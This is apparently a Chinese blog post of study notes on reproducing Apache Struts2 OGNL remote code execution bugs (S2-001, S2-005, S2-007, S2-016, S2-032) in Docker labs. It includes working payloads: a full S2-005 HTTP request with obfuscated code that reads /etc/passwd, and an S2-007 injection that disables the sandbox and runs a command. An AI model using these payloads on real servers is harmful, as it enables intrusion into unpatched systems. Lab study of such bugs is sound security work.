struts2漏洞学习

zbs   ·   发表于 2024-01-10 15:13:07   ·   学习杂记

本学习目标都是使用docker-compose

话不多说,直接介绍

S2-001 远程代码执行漏洞

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
影响版本:Struts 2.0.0 – Struts 2.0.8

复现过程:


代码执行get

poc:

%{#req=<span>@org.apache.struts2.ServletActionContext</span><span>@getRequest(),#response=#context.get(</span>“com.opensymphony.xwork2.dispatcher.HttpServletResponse”).getWriter(),#response.println(#req.getRealPath(‘/‘)),#response.flush(),#response.close()}

S2-005 远程代码执行漏洞

影响版本: 2.0.0 - 2.1.8.1
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制
XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

user.address.city=Bishkek&amp;user['favoriteDrink']=kumys 
//会被转化成
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")

S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用\u0023绕过s2对#的防御
  • S2-003 后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

执行任意命令POC(有回显,将需要执行的命令进行urlencode编码)

POST /example/HelloWorld.action HTTP/1.1
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)
Host: target:8080
Content-Length: 626
redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

S2-007 远程代码执行漏洞

影响版本: 2.0.0 - 2.2.3
漏洞详情: http://struts.apache.org/docs/s2-007.html
当配置了验证规则 -validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回
poc:’ + (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java.lang.Boolean(“false”) ,#context[“xwork.MethodAccessor.denyMethodExecution”]=#foo,<span>@org.apache.commons.io.IOUtils</span><span>@toString(</span><span>@java.lang.Runtime</span><span>@getRuntime().exec(‘id’).getInputStream()))</span> + ‘

S2-016 远程代码执行漏洞

影响版本: 2.0.0 - 2.3.15
访问http://your-ip:8080/index.action?redirect:OGNL表达式即可执行OGNL表达式。
学习到这里,发现struts2漏洞非常难利用,poc需要对java代码、OGNL表达式很熟悉,有没有什么可以直接利用的工具呢?
这边就从百度随意下了一个工具,测试一下能否正常使用:


还是工具香

S2-032 远程代码执行漏洞(CVE-2016-3081)

影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:的方式来调用名字是``的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。

打赏我,让我更有动力~

1 条回复   |  直到 11个月前 | 474 次浏览

mmmm
发表于 11个月前

1

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.